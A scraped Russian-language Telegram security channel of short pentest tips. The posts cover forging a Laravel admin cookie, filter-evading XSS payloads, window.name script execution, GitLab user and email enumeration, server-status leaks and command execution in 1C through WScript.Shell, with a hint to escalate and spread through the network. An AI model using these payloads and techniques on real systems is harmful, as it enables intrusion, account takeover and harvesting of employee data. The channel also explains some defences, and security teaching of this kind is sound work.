Кавычка
8.77K members
50 photos
2 videos
3 files
121 links
Уязвимости и атаки на веб-приложения.
Без рекламы.
Download Telegram
to view and join the conversation
Если у тебя доступен файл .env в Laravel, но его наличие не дает никаких преимуществ (порты закрыты, например) - можно посмотреть что там в админке.

Раз сервер настроен так хреново, что читается .env, значит и с высокой вероятностью доступна директория /storage/framework/sessions/


Берешь функцию генерации сессии
@
Находишь самый жирный айдишник из директории
@
Вставляешь секретный токен из .env
@
Генеришь себе cookie администратора

Пример прилагается
Нет идей, какие уязвимости могут быть в приложении написанном на Golang?
Стоит прочитать пост с примером эксплуатации Request Splitting.
Websocket - это протокол.
Да, он сделан специально для браузера и работает поверх него, но является всего лишь транспортом для обмена данных, а в браузере для него нет каких-то механизмов безопасности, типа CORS.

Атакующий может создать специально сформированную страницу, которая подключается к уязвимому ресурсу при ее открытии. Отправив такую ссылку жертве - возможен перехват данных и любые действия от лица пользователя (смотря, что в ws реализовано).

Если веб-сервер ответил и создал подключение, то подключение произойдет, несмотря на различные заголовки, которые разработчик может попытаться вернуть в ответе, типа X-Frame-Options, Access-Control-Allow-Origin и вот это всё.

Поэтому, подключать пользователя или нет, решает бэкэнд. Именно он должен определить, является ли пользователь и источник подключения легитимным. Обычно проверяют заголовок Origin или используют различные секреты (типа CSRF токена). Иногда это уже реализовано в библиотеках, но далеко не во всех. Еще забавно, что куки могут быть удалены, сессионный идентификатор может уже давно умереть, а подключение к вебсокету все еще работать.
Иногда, для XSS могут быть особые условия, например, что нельзя использовать некоторые спецсимволы, типа бэктиков и скобок. Поэтому можно поиграться с переопределениями функций.

Например, для PoC подойдет переопределение функции toString, а потом её неявный вызов:

toString=alert;window+1

Или интереснее - переопределить ошибку.

onerror=eval;Uncaught=alert;throw'\x28location\x29';

Тут мы определили Uncaught как имя функции, в throw его содержимое (в том числе вызов), onerror можно переопределить в eval, а лучше в setTimeout, дабы всякие WAF'ы не ругались (пример).

А тут еще больше примеров в репозитории XSS-Payloads (самый классный все равно innerHTML)
В те времена, когда трава была зеленее, солнце светило ярче, самым крутым браузером был Netscape, а сайты верстали таблицами - не было CORS. Тем более таких штук как postMessage.
Но была крутая фича - имя текущего окна.

window.name - переменная, в которую можно записать данные на одном сайте, а прочитать уже на другом. Поэтому, во времена frameset, олдфаги использовали имя окна для полноценного междоменного взаимодействия. Сейчас это, конечно же, легаси.

Но переменная name все еще доступна! Использование её в рамках одной вкладки позволяет передавать большое количество данных, тем самым минимизируя вектор атаки. А еще на сервере не залогируется, что именно ты выполнил (тоже забавно).
Особенно это полезно в случае CSRF + Reflected XSS, когда ты можешь определить name до того, как отправишь жертву на уязвимую ссылку прямо на странице с формой.

Ведь для полноценного выполнения полезной нагрузки достаточно вызвать eval(name) (10 байт), а для подключения внешнего скрипта в Chrome import(name) (12 байт).

Вот примерчик.

Ставим name с alert'ом на одном домене, а выполняем его на другом.
При сканировании сети доступен порт tcp/2181? Скорее всего это ZooKeeper - распределенное иерархическое key-value хранилище. Он часто используется для отказоустойчивого хранения конфигураций и сериализованых объектов. Пример эксплуатации уязвимости в ClickHouse через ZooKeeper.
Смотри. Иногда есть <input>, но нельзя закрыть тег, как сделать срабатывание javascript без пользовательского действия?

Вот тебе пример.

Самый частый вариант - связка события onfocus и autofocus рушится, если autofocus стоит в другом месте. А всякие onmouseover, не подойдут, потому что нужно, чтобы пользователь задел курсором уязвимое поле.






...







На самом деле можно поместить в ссылку якорь (не говори эти слова в общественных местах, а то подумают, что с тобой что-то не так).
Якорем называется закладка с уникальным именем на определенном месте веб-страницы, предназначенная для создания перехода к ней по ссылке. Якоря удобно применять в документах большого объема, чтобы можно было быстро переходить к нужному разделу. Например, после перехода по ссылке и загрузки страницы https://en.wikipedia.org/wiki/Wikipedia#Privacy, браузер перейдет к заголовку "Privacy".

Для создания якоря необходимо поместить в URL символ решетки, а за ним значение уникального идентификатора, который задается в атрибуте id. В wikipedia это был <span class="mw-headline" id="Privacy">Privacy</span>.

Сослаться можно и на другие html теги, браузер будет сфокусирован на них.

А теперь попробуй в первой ссылке вызвать alert при открытии! Но если надо, то решение тут.
Один из классических вопросов на собеседование AppSec специалисту - "Как хранить пароли?". И тут будет потрясающим ответ - "пароли хранить не надо, потому что в 2020 мы не должны запускать сервисы с паролями!". За это можно получить хороший плюс. Но если все-таки вернуться к вопросу, то ожидается ответ в духе:
- Давайте использовать Argon2, PBKDF2, Bcrypt, Scrypt с оптимальным количеством раундов
- И харденинг - например использовать HSM (тут долгие холивары в каком режиме), "pepper" и т.д.

Ответы хранить соленный md5/sha1/sha256/sha512 автоматически ставят жирный минус.

Но также есть еще один вопрос, сложный, и ответ на него мало кто знает - *”А как нам хранить пароли так, что если атакующий получит RCE на бэкендах, в т.ч. root привилегии, то не сможет дампнуть табличку с хэшами?”*

Вопрос ставит в тупик, можно начинать придумывать "security through obscurity" решения, но не надо. Есть очень легкий, понятный и технически верный путь, как решить поставленную задачу. Нам нужно отозвать права "select" у бэкенд юзера на таблицу с хэшами и написать 2 хранимых SQL процедуры:

getSalt(user_id)

Вернет «соль» пароля на бэкенд по userId, который пытается войти. Бэкенд возьмет введенный юзером пароль и получит хэш с солью из базы

checkPassword(user_id, hashed_password)

Возвращает true/false на проверке хэша пароля на предыдущем шаге у user_id

Еще нужна процедура на создание пользователя и смену пароля, но они также не позволяет select'нуть хэши паролей пользователей. Хорошая статья по теме(но там не всё): https://www.secjuice.com/secure-password-handling/

Странно, что ни в одном современном решении - типа WordPress или Django это не реализовано. Да и не надо уже, давайте лучше откажемся от паролей!
Какой тип содержимого будет, если веб-приложение ответит следующим заголовком?

Content-Type: text/plain, xml, text/html, json

Оказывается - html! Некоторые браузеры парсят content-type через запятую и берут последний валидный вариант.

Этот и другие трюки с различными типами контента можно глянуть тут.
На случай важных переговоров

#JWT
Многие знают про различные фичи oauth, благодаря которым уязвимости появляются из-за излишнего доверия к провайдерам. Например, регистрация в одной из соцсетей с полезной нагрузкой ('-alert()-' в качестве имени), когда как при обычной регистрации спецсимволы использовать запрещено.

Некоторые сервисы позволяют не подтверждать, например, номер телефона. А в момент регистрации через кнопку “Войти через…” - веб приложение забирает поля пользователя, в том числе и телефон, хоть пользователь не подтвердил его. Войдя через такой аккаунт есть вероятность попасть к одному из клиентов веб-приложения, того самого, чей номер был введен.
А где-то можно не подтверждать email.
Например, популярный ныне сервис Discord. В нем ты можешь завести аккаунт на произвольный email (например admin@google.com), и не подтверждая email зайти через него на один из сайтов, если веб-приложение будет ему доверять.
Как сообщает @x_notes, у древнейшего ресурса по реверс инжинирингу - exelab.ru, ус отклеился (PHP интерпретатор отломился).
Gitlab - достаточно популярный продукт для разработки, благодаря self-hosted решению его часто можно встретить на поддоменах компаний. Помимо того, что в нем также присутствует регистрация без подтверждения email’а (смотрим в предыдущие посты), это еще и отличная возможность собрать информацию о сотрудниках.

Без аутентификации доступен следующий API метод - gitlab.company.local/api/v4/users/{id}

На самом gitlab - эта ручка также доступна, например https://gitlab.com/api/v4/users/7154957:

{"id":7154957,"name":"Bo0oM","username":"webpwn","state":"active","avatar_url":"https://secure.gravatar.com/avatar/4e99709ca6b52f78d02cb92a5bc65d85?s=80\u0026d=identicon","web_url":"https://gitlab.com/webpwn","created_at":"2020-09-21T17:25:55.046Z","bio":"","bio_html":"","location":"","public_email":"","skype":"","linkedin":"","twitter":"@i_bo0om.ru","website_url":"https://t.me/webpwn","organization":"","job_title":"","work_information":null}

Перебирая идентификаторы, можно за короткое время собрать список логинов (и другую информацию о сотрудниках компании.

По логину также можно узнать открытые ключи - https://gitlab.com/webpwn.keys

Отдельного упоминания заслуживает avatar_url:

”avatar_url":"https://secure.gravatar.com/avatar/4e99709ca6b52f78d02cb92a5bc65d85?s=80\u0026d=identicon”

Сервис gavatar содержит email в пути к изображению - 4e99709ca6b52f78d02cb92a5bc65d85. Это ни что иное, как md5 от email’а в нижнем регистре.

echo -n "webpwn@bo0om.ru" | md5


4e99709ca6b52f78d02cb92a5bc65d85


А так как у нас скорее всего корпоративный домен, узнать логины по остальным данным и собрать базу программистов компании будет достаточно просто.
Для тех, кто использует Nominatim (такой движок для геокодинга от OpenStreetMap) в официальных докер-образах: обратите внимание на одну забавную строку.
В большинстве случаев ничего страшного не произойдет, так как докеры обычно не торчат наружу. Но мало ли :)
Если ты нашёл server-status, но в нем нет ничего кроме статистики - попробуй добавить к нему параметр full:

/server-status?full

Если это PHP-FPM Status Page, то тебе откроются логи запросов.
Что нужно знать, при пентесте 1С

* Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на /ru_RU/e1cib/users.
* Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).
* Внутри часто есть выполнение произвольного кода.
1C_RCE.epf
23.9 KB
Если в 1С включено интерактивное открытие внешних отчетов и обработок, то достаточно тыкнуть Файл => Открыть и загрузить консоль запросов для управляемого приложения с расширением epf.
В консоле же легко выполнять произвольные команды и выводить их с помощью функции "Сообщить".

Например:

СисИнфо = Новый СистемнаяИнформация;
Shell = Новый COMОбъект("WScript.Shell");
UserDir = Shell.ExpandEnvironmentStrings("%USERPROFILE%");
Сообщить(СисИнфо.ВерсияОС+" "+СисИнфо.ТипПлатформы+Символы.ПС+Символы.ПС+СисИнфо.Процессор+", RAM: "+СисИнфо.ОперативнаяПамять+" МБ"+Символы.ПС);
Сообщить("Каталог 1с: " + КаталогПрограммы());
Сообщить("Пользователь: "+UserDir);
Тасклист=Shell.Exec("tasklist /v");
Сообщить(Тасклист.StdOut.ReadAll());


Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.